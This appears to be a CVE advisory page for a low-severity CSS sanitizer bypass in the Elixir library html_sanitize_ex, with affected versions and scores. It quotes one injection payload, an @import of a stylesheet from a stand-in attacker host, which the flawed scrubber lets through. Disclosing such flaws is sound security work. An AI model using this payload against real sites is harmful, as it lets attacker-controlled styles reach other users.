Riskcovery

CVE-2026-68747

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

State
Published
Severity
2.3 Low
Published
Aug 6, 2026
Updated
Aug 19, 2026
Reserved
Jul 31, 2026

Read the record on cve.org

Description

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Scores

CVSSScoreVectorSource
4.02.3 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:NEEF

Weaknesses

  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Affected Products

ProductVersions
html_sanitize_exrrrene
  • 0.3.1 to before 1.4.5Affected
  • 1.5.0-rc.0 to before 1.5.4Affected
html_sanitize_exrrrene
  • 21f90012eb21aa36f4e3701b7547e12faf0f3c8b and laterAffectedfrom 0b9f9ad63a7529d4f2c3c1134c371adc3e654308Not affectedfrom c311a499db0b0baef06493fb3cfeb730c0f18f28Not affected

References

Every record here comes from the CVE Program’s CVE List. © 1999–2026 The MITRE Corporation. CVE is a registered trademark of The MITRE Corporation. The records are reproduced under the CVE Program terms of use.